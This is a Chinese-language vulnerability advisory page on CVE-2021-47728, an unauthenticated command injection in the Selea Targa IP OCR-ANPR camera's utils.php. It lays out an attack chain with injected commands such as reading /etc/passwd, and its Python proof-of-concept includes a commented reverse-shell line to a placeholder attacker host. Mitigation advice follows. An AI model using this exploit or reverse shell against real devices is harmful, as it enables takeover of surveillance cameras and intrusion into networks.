IPBUF安全漏洞报告
English
CVE-2021-47728 CVSS 9.8 严重

CVE-2021-47728 Selea Targa IP Camera 未授权命令注入漏洞

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2021-47728
漏洞类型
远程代码执行/命令注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Selea Targa IP OCR-ANPR Camera

相关标签

命令注入远程代码执行SeleaIP CameraANPR未授权访问Web漏洞CVSS 9.8

漏洞概述

CVE-2021-47728是存在于Selea Targa IP OCR-ANPR(光学字符识别-自动车牌识别)摄像头设备中的一个严重安全漏洞。该漏洞被评为CVSS 9.8分,属于紧急严重级别。漏洞根源在于设备Web管理界面的utils.php文件存在未修复的命令注入问题,允许未经身份验证的远程攻击者通过构造恶意请求执行任意Shell命令。攻击者可以利用设备提供的'addr'和'port'参数注入系统命令,配合链式本地文件包含(LFI)技术,成功获取设备的www-data用户访问权限。这意味着攻击者可以完全控制受影响的摄像头设备,执行任意系统操作,包括但不限于读取敏感配置信息、植入后门、横向移动到内网其他系统等。该漏洞无需任何认证凭证即可被利用,且可通过网络远程触发,对使用此类设备的组织构成严重安全威胁。建议受影响的用户立即采取防护措施并关注厂商更新。

技术细节

Selea Targa IP OCR-ANPR Camera的命令注入漏洞存在于utils.php文件中,具体涉及'addr'和'port'参数的输入验证不足。攻击者可以通过构造特殊的HTTP请求,在这些参数中注入Shell命令元字符(如分号、管道符、反引号等),使后端PHP脚本在执行系统命令时将恶意代码一并执行。漏洞利用的关键在于该参数直接传递给system()或exec()等PHP命令执行函数,而未进行充分的输入过滤或参数校验。攻击者还可以结合本地文件包含(LFI)漏洞,通过路径遍历技术读取系统敏感文件,进一步提升攻击效果。成功利用后,攻击者以www-data(Web服务器运行用户)权限执行命令,可访问设备文件系统、配置文件、摄像头视频流等资源。由于设备通常部署在关键基础设施和敏感场所,此类漏洞可导致严重的物理安全和数据安全问题。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标Selea Targa IP Camera设备,确认Web管理界面可访问
STEP 2
步骤2: 漏洞探测
访问utils.php文件,构造包含Shell命令的'addr'参数进行测试
STEP 3
步骤3: 命令注入
通过'addr'参数注入恶意命令,如;id;或;cat /etc/passwd;
STEP 4
步骤4: 本地文件包含利用
结合LFI漏洞读取敏感文件,获取更多系统信息
STEP 5
步骤5: 权限提升/持久化
以www-data权限执行命令,可能植入后门或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2021-47728 PoC - Selea Targa IP Camera Unauthenticated Command Injection # Target: Selea Targa IP OCR-ANPR Camera # Vulnerability: Command Injection in utils.php via 'addr' and 'port' parameters TARGET = "http://target-ip:80" def exploit(target, cmd): """Execute command injection via addr parameter""" payload = f";{cmd};" params = { 'addr': payload, 'port': '80' } try: response = requests.get(f"{target}/utils.php", params=params, timeout=10) return response.text except Exception as e: return f"Error: {str(e)}" # Example usage - check if vulnerable if __name__ == "__main__": # Test basic command injection result = exploit(TARGET, "id") print(result) # Reverse shell example (attacker needs listener) # exploit(TARGET, "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1")

影响范围

Selea Targa IP OCR-ANPR Camera (固件版本未明确)

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1) 将设备管理界面置于防火墙后的受保护网络区域;2) 禁用不必要的远程管理功能;3) 使用VPN或跳板机进行设备管理;4) 监控进出设备的异常网络流量;5) 考虑网络分段以限制潜在攻击影响范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表